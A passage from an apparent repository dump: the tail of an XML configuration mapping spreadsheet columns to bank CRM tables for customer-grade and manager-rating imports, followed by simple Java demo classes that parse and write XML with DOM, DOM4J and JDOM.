fieldCode=\"MGR_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理ID\"  columnIndex=\"7\"  fieldCode=\"MGR_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"客户经理名称\"  columnIndex=\"8\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     <!-- 公司评级 importCompanyGrade -->\n     <trade tradeCode=\"importCompanyGrade\" tableName=\"ACRM_F_CI_OGRADE_RESULT_TEMP\" valiClass=\"com.yuchengtech.bcrm.custmanager.action.CustGradeCompanyImport\" sheetStartIndex=\"1\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  \t<column  name=\"客户号\"    columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户名称\"   columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n\t   \t<column  name=\"客户等级ID\"    columnIndex=\"2\"  fieldCode=\"CUST_GRADE_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户等级类型\"    columnIndex=\"3\"  fieldCode=\"CUST_GRADE_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       \t<column  name=\"本期客户等级\"    columnIndex=\"4\"  fieldCode=\"CUST_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"是否本月新增\"    columnIndex=\"5\"  fieldCode=\"IS_MONTH_ADD\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润\"    columnIndex=\"6\"  fieldCode=\"RETAIN_PROFIT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业净收入\"    columnIndex=\"7\"  fieldCode=\"IN_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业外净收入\"    columnIndex=\"8\"  fieldCode=\"OUT_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"所得税\"    columnIndex=\"9\"  fieldCode=\"INCOME_TAX\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款减值准备\"    columnIndex=\"10\"  fieldCode=\"LOAN_IMPAIRMENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"60\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"EVA\"    columnIndex=\"11\"  fieldCode=\"EVA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"经济资本占用\"    columnIndex=\"12\"  fieldCode=\"FINA_ASSET_EMPLOY\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模\"    columnIndex=\"13\"  fieldCode=\"BUSI_SCALE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存款年日均\"    columnIndex=\"14\"  fieldCode=\"DEP_YDAY_AVG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年日均\"    columnIndex=\"15\"  fieldCode=\"LOAN_YDAY_AVG\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年收息\"    columnIndex=\"16\"  fieldCode=\"LOAN_YDAY_INTEREST\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存贷比\"    columnIndex=\"17\"  fieldCode=\"DEP_LOAN_PROP\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"存款加权季末余额\"    columnIndex=\"18\"  fieldCode=\"DEP_WEIGHT_ENDS_BAL\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"外汇收支\"    columnIndex=\"19\"  fieldCode=\"FOREIGN_EXCHANGE\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC\"    columnIndex=\"20\"  fieldCode=\"EVALUATE_RAROC\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贴现)\"    columnIndex=\"21\"  fieldCode=\"RAROC_DISCOUNT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贸易融资)\"    columnIndex=\"22\"  fieldCode=\"RAROC_TRADE_FINA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润等级结果\"    columnIndex=\"23\"  fieldCode=\"RETAIN_PROFIT_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC等级结果\"    columnIndex=\"24\"  fieldCode=\"EVALUATE_RAROC_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模等级结果\"    columnIndex=\"25\"  fieldCode=\"BUSI_SCALE_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--客户经理培训信息批量导入-->\n   <trade tradeCode=\"mgrCourseBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_COURSE_TEMP\" valiClass=\"com.yuchengtech.bob.action.CustManagerCourseImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n      <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n      <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"2\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课程名称\"  columnIndex=\"3\"  fieldCode=\"COURSE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训日期\"  columnIndex=\"4\"  fieldCode=\"COURSE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课堂表现\"  columnIndex=\"5\"  fieldCode=\"PERFORMANCE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"考核成绩\"  columnIndex=\"6\"  fieldCode=\"EXAMINE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"加分项\"  columnIndex=\"7\"  fieldCode=\"BONUS_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训心得\"  columnIndex=\"8\"  fieldCode=\"THOUGHT_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \t\n   <!--客户经理等级批量导入-->\n   <trade tradeCode=\"mgrClassBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_CLASS_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.CustManagerClassImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t \t <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   <!-- \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>-->\n   \t  <column name=\"等级\"  columnIndex=\"2\"  fieldCode=\"MGR_CLASS\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t<!--   <column name=\"有效期\"  columnIndex=\"4\"  fieldCode=\"EFFECT_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>  --> \n   </trade>\n   \n      <!--客户经理评级信息导入-->\n   <trade tradeCode=\"mgrGradeInfoImport\" tableName=\"ACRM_MGR_CPN_DATA_IMP_TEMP\" valiClass=\"com.yuchengtech.bob.action.MgrGradeInfoImport\" sheetStartIndex=\"0\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  <column name=\"客户经理工号\"  columnIndex=\"0\"  fieldCode=\"MGR_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"年度考核结果\"    columnIndex=\"2\"  fieldCode=\"DNKHJG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"品德合规状况\"    columnIndex=\"3\"  fieldCode=\"DDHGZK\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"公关营销能力\"    columnIndex=\"4\"  fieldCode=\"GGYXNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其它调整项1\"    columnIndex=\"5\"  fieldCode=\"QTTZX1\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"营销竞赛排名\"    columnIndex=\"6\"  fieldCode=\"YXJSNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"新产品创新及推广\"    columnIndex=\"7\"  fieldCode=\"XCPTG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷工作能力\"    columnIndex=\"8\"  fieldCode=\"XDGZNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他调整项2\"    columnIndex=\"9\"  fieldCode=\"QTTZX2\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现加分\"    columnIndex=\"10\"  fieldCode=\"PXBX_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务\"    columnIndex=\"11\"  fieldCode=\"GFHFW_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"交叉持证资格\"    columnIndex=\"12\"  fieldCode=\"JCCZZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他项目加分\"    columnIndex=\"13\"  fieldCode=\"QTXM\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       <column  name=\"贷后管理工作\"    columnIndex=\"14\"  fieldCode=\"DHGLGZ\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现扣分\"    columnIndex=\"15\"  fieldCode=\"PXBX_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务扣分\"    columnIndex=\"16\"  fieldCode=\"GFHFW_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷从业资格/银行从业资格扣分\"    columnIndex=\"17\"  fieldCode=\"XDCYZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n\n\t\n     \n</root>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/dom/DOMReader.java",
    "content": "package com.jun.plugin.dom;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NodeList;\n\npublic class DOMReader {\n\n\tpublic static void main(String[] args) {\n\t\tDocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();\n\t\ttry {\n\t\t\tDocumentBuilder builder=factory.newDocumentBuilder();\n\t\t\tDocument doc=builder.parse(\"src/main/resources/dom.xml\");\n\t\t\tNodeList nodeList=doc.getElementsByTagName(\"user\");\n\t\t\tElement e=(Element)nodeList.item(0);\n\t\t\tSystem.out.println(\"name\"+e.getElementsByTagName(\"name\").item(0).getFirstChild().getNodeValue());\n\t\t\tSystem.out.println(\"sex\"+e.getElementsByTagName(\"sex\").item(0).getFirstChild().getNodeValue());\n\t\t\tSystem.out.println(\"age\"+e.getElementsByTagName(\"age\").item(0).getFirstChild().getNodeValue());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/dom/DOMReader2.java",
    "content": "package com.jun.plugin.dom;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\n\npublic class DOMReader2 {\n\n\tpublic static void printNodeAttr(Node node){\n\t\tNamedNodeMap namedNodeMap=node.getAttributes();\n\t\tfor(int i=0;i<namedNodeMap.getLength();i++){\n\t\t\tNode attrNode=namedNodeMap.item(i);\n\t\t\tSystem.out.println(attrNode.getNodeName()+\":\"+attrNode.getFirstChild().getNodeValue());\n\t\t}\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tDocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();\n\t\ttry {\n\t\t\tDocumentBuilder builder=factory.newDocumentBuilder();\n\t\t\tDocument doc=builder.parse(\"src/main/resources/dom4j.xml\");\n\t\t\tNodeList nodeList=doc.getElementsByTagName(\"users\");\n\t\t\tElement element=(Element)nodeList.item(0);\n\t\t\tNodeList usersNodeList=element.getElementsByTagName(\"user\");\n\t\t\tfor(int i=0;i<usersNodeList.getLength();i++){\n\t\t\t\tElement e=(Element)usersNodeList.item(i);\n\t\t\t\tSystem.out.println(\"name\"+e.getElementsByTagName(\"name\").item(0).getFirstChild().getNodeValue());\n\t\t\t\tprintNodeAttr(e.getElementsByTagName(\"name\").item(0));\n\t\t\t\tSystem.out.println(\"sex\"+e.getElementsByTagName(\"sex\").item(0).getFirstChild().getNodeValue());\n\t\t\t\tSystem.out.println(\"age\"+e.getElementsByTagName(\"age\").item(0).getFirstChild().getNodeValue());\n\t\t\t\tSystem.out.println(\"================\");\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/dom4j/DOM4JReader.java",
    "content": "package com.jun.plugin.dom4j;\n\nimport java.util.Iterator;\n\nimport org.dom4j.Document;\nimport org.dom4j.Element;\nimport org.dom4j.io.SAXReader;\n\npublic class DOM4JReader {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tSAXReader saxReader=new SAXReader();\n\t\tDocument document=saxReader.read(\"src/main/resources/dom4j.xml\");\n\t\tElement rootElement=document.getRootElement();\n\t\tIterator iter=rootElement.elementIterator();\n\t\twhile(iter.hasNext()){\n\t\t\tElement userElement=(Element)iter.next();\n\t\t\tSystem.out.println(\"id\"+userElement.attributeValue(\"id\"));\n\t\t\tSystem.out.println(\"name\"+userElement.elementText(\"name\"));\n\t\t\tSystem.out.println(\"sex\"+userElement.elementText(\"sex\"));\n\t\t\tSystem.out.println(\"age\"+userElement.elementText(\"age\"));\n\t\t\tSystem.out.println(\"=========\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/dom4j/DOM4Writer.java",
    "content": "package com.jun.plugin.dom4j;\n\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.XMLWriter;\n\npublic class DOM4Writer {\n\n\tpublic static void main(String[] args) {\n\t\tDocument document=DocumentHelper.createDocument();\n\t\tElement userElement=document.addElement(\"user\");\n\t\tuserElement.addAttribute(\"id\", \"001\");\n\t\tuserElement.addAttribute(\"aa\", \"xx\");\n\t\t\n\t\tElement name=userElement.addElement(\"name\");\n\t\tname.setText(\"张三111\");\n\t\tElement sex=userElement.addElement(\"sex\");\n\t\tsex.setText(\"test123445\");\n\t\tElement age=userElement.addElement(\"age\");\n\t\tage.setText(\"2020\");\n\t\t\n\t\tOutputFormat format=OutputFormat.createPrettyPrint();\n\t\tformat.setEncoding(\"UTF-8\");\n\t\ttry {\n\t\t\tXMLWriter writer=new XMLWriter(new FileOutputStream(\"src/main/java/dom4jwrite.xml\"),format);\n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/jdom/JDOMDemo.java",
    "content": "\npackage com.jun.plugin.jdom;\nimport java.io.File;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.jdom2.Document;\nimport org.jdom2.Element;\nimport org.jdom2.input.SAXBuilder;\n\npublic class JDOMDemo {\n\n\tpublic static void parseXML(String path) throws Exception{\n\t\tSAXBuilder builder = new SAXBuilder() ;\n\t\tDocument document = builder.build(new File(path)) ;\n\t\tElement root = document.getRootElement() ;\n\t\tList<Element> allplus = root.getChildren(\"plus\") ;\n\t\tIterator<Element> iter= allplus.iterator() ;\n\t\twhile(iter.hasNext()){\n\t\t\tElement plus = iter.next() ;\n\t\t\tElement id = plus.getChild(\"id\") ;\n\t\t\tElement title = plus.getChild(\"title\") ;\n\t\t\tSystem.out.println(id.getTextTrim()+\"-------\"+title.getTextTrim());\n\t\t}\n\t}\n\t/*public static void createXML(String path) throws Exception{\n\t\tDocument document = new Document();\n\t\tElement root = new Element(\"allplus\") ;\n\t\tList<Areaplus> list = ServiceFactory.getIAreaplusServiceinstance().listByUpid(35) ;\n\t\tIterator<Areaplus> iter = list.iterator() ;\n\t\twhile(iter.hasNext()){\n\t\t\tAreaplus ap = iter.next() ;\n\t\t\tElement plus = new Element(\"plus\") ;\n\t\t\tElement id = new Element(\"id\") ;\n\t\t\tElement title = new Element(\"title\") ;\n\t\t\t//��JDOM�������в���Ҫ�����ı��ڵ㣬����ֱ�Ӹ�ֵ\n\t\t\tid.addContent(ap.getId().toString()) ;\n\t\t\ttitle.addContent(ap.getTitle()) ;\n\t\t\tplus.addContent(id);\n\t\t\tplus.addContent(title) ;\n\t\t\troot.addContent(plus) ;\n\t\t}\n\t\tdocument.setRootElement(root) ;\n\t\tFileWriter out = new FileWriter(new File(path)) ;\n\t\tXMLOutputter outputter = new XMLOutputter() ;\n//\t\toutputter.setEncoding(\"GBK\") ;\n\t\toutputter.output(document, out) ;\n\t\tout.close() ;\n\t}*/\n\tpublic static void main(String[] args) throws Exception {\n\t\tparseXML(\"D:/test2.xml\") ;\n//\t\tcreateXML(\"D:/test2.xml\") ;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/jdom/JDOMReader.java",
    "content": "package com.jun.plugin.jdom;\n\nimport java.util.List;\n\nimport org.jdom2.Document;\nimport org.jdom2.Element;\nimport org.jdom2.input.SAXBuilder;\n\npublic class JDOMReader {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tSAXBuilder builder=new SAXBuilder();\n\t\tDocument document=builder.build(\"src/main/resources/dom4j.xml\");\n\t\tElement users=document.getRootElement();\n\t\tList userList=users.getChildren(\"user\");\n\t\tfor(int i=0;i<userList.size();i++){\n\t\t\tElement user=(Element)userList.get(i);\n\t\t\tString id=user.getAttributeValue(\"id\");\n\t\t\tString name=user.getChildText(\"name\");\n\t\t\tString sex=user.getChildText(\"sex\");\n\t\t\tString age=user.getChildText(\"age\");\n\t\t\tSystem.out.println(\"id=\"+id+\";name=\"+name+\";sex=\"+sex+\";age=\"+age);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/jdom/JDOMWriter.java",
    "content": "package com.jun.plugin.jdom;\n\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\n\nimport org.jdom2.Attribute;\nimport org.jdom2.Document;\nimport org.jdom2.Element;\nimport org.jdom2.output.XMLOutputter;\n\npublic class JDOMWriter {\n\n\tpublic static void main(String[] args) {\n\t\tElement user=new Element(\"user\");\n\t\t\n\t\tAttribute id=new Attribute(\"id\", \"001\");\n\t\tAttribute aa=new Attribute(\"aa\", \"xx\");\n\t\tuser.setAttribute(id);\n\t\tuser.setAttribute(aa);\n\t\t\n\t\tElement name=new Element(\"name\");\n\t\tname.setText(\"nameText\");\n\t\tuser.addContent(name);\n\t\t\n\t\tElement sex=new Element(\"sex\");\n\t\tsex.setText(\"性别\");\n\t\tuser.addContent(sex);\n\t\t\n\t\tElement age=new Element(\"age\");\n\t\tage.setText(\"age\");\n\t\tuser.addContent(age);\n\t\t\n\t\tDocument document=new Document(user);\n\t\tXMLOutputter out=new XMLOutputter();\n\t\tout.setFormat(out.getFormat().setEncoding(\"UTF-8\"));\n\t\t\n\t\ttry {\n\t\t\tout.output(document, new FileOutputStream(\"src/main/resources/jdomwriter.xml\"));\n\t\t} catch (FileNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/jdom/JdomTest.java",
    "content": "package com.jun.plugin.jdom;\n\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.jdom2.Attribute;\nimport org.jdom2.Document;\nimport org.jdom2.Element;\nimport org.jdom2.JDOMException;\nimport org.jdom2.input.SAXBuilder;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * @author ZhangHao\n * @date 2013-5-3\n * JDOM解析报文\n */\npublic class JdomTest {\n\tprivate static final Logger log = LoggerFactory.getLogger(JdomTest.class.getName());\n\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static void main(String[] args) {\n\n\t\tString message = \"<root><MId>MD00001</MId><devSts><dev name=\\\"printer\\\" sts=\\\"-100\\\" time=\\\"2013-05-02 12:20:30\\\"/>\"\n\t\t\t\t+ \"<dev name=\\\"icreader\\\" sts=\\\"-101\\\" time=\\\"2013-05-02 11:40:35\\\"/></devSts></root>\";\n\n\t\tJdomTest jt = new JdomTest();\n\t\tMap map = jt.unPack(message);\n\t\tSystem.out.println(map.get(\"MId\"));\n\t\tList<Map> list = (List) map.get(\"devSts\");\n\t\tSystem.out.println(list.size());\n\t\tfor (Map map1 : list) {\n\t\t\tSystem.out.println(map1.get(\"name\"));\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic Map unPack(String message) {\n\t\tMap msgmap = new HashMap();\n\t\tByteArrayInputStream bais = null;\n\t\tDocument document = null;\n\t\tElement xmlRoot = null; // 根结点\n\t\ttry {\n\t\t\tbais = new ByteArrayInputStream(message.getBytes(\"UTF-8\"));// 2011-9-6 发生错误 修改为UTF-8 解码\n\t\t} catch (UnsupportedEncodingException uee) {\n\t\t\tlog.error(uee.getMessage());\n\t\t\tuee.printStackTrace();\n\t\t}\n\n\t\tif (bais != null) {\n\t\t\ttry {\n\t\t\t\tSAXBuilder saxBuilder = new SAXBuilder();\n\t\t\t\tdocument = saxBuilder.build(bais);\n\t\t\t\txmlRoot = document.getRootElement();\n\t\t\t\tList list = xmlRoot.getChildren();\n\t\t\t\tfor (int i = 0; i < list.size(); i++) {\n\t\t\t\t\tElement element = (Element) list.get(i);\n\t\t\t\t\tif (element.getChildren().size() == 0) {\n\t\t\t\t\t\tmsgmap.put(element.getName(), element.getText());\n\t\t\t\t\t\tlog.debug(\"msgmap.put('\" + element.getName() + \"','\" + element.getText() + \"')\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMap elementmap = new HashMap();\n\t\t\t\t\t\t// System.out.println(\"该节点含有子节点数=\"+element.getChildren().size());\n\t\t\t\t\t\tList childlist = element.getChildren();\n\t\t\t\t\t\tList eleList = new ArrayList();\n\t\t\t\t\t\tfor (int j = 0; j < childlist.size(); j++) {\n\t\t\t\t\t\t\tElement elementc = (Element) childlist.get(j);\n\t\t\t\t\t\t\tMap listMap = new HashMap();\n\t\t\t\t\t\t\tif (elementc.getChildren().size() == 0) {\n\t\t\t\t\t\t\t\tList list1 = elementc.getAttributes();\n\t\t\t\t\t\t\t\tfor (int k = 0; k < list1.size(); k++) {\n\t\t\t\t\t\t\t\t\tAttribute att = (Attribute) list1.get(k);\n\t\t\t\t\t\t\t\t\t// System.out.println(att.getName());\n\t\t\t\t\t\t\t\t\tlistMap.put(att.getName(), att.getValue());\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\teleList.add(listMap);\n\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\telementmap.put(elementc.getName(), elementc);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlog.debug(\"msgmap.put('\" + element.getName() + \"','\" + elementmap + \"')\");\n\t\t\t\t\t\tmsgmap.put(element.getName(), eleList);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbais.close();\n\t\t\t} catch (IOException ex) {\n\t\t\t\tlog.error(ex.getMessage());\n\t\t\t\tex.printStackTrace();\n\t\t\t} catch (JDOMException ex) {\n\t\t\t\tlog.error(ex.getMessage());\n\t\t\t\tex.printStackTrace();\n\t\t\t}\n\t\t} else {\n\t\t\tlog.error(\"输入流为空！\");\n\t\t\tthrow new NullPointerException(\"输入流为空！\");\n\t\t}\n\t\treturn msgmap;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/model/User.java",
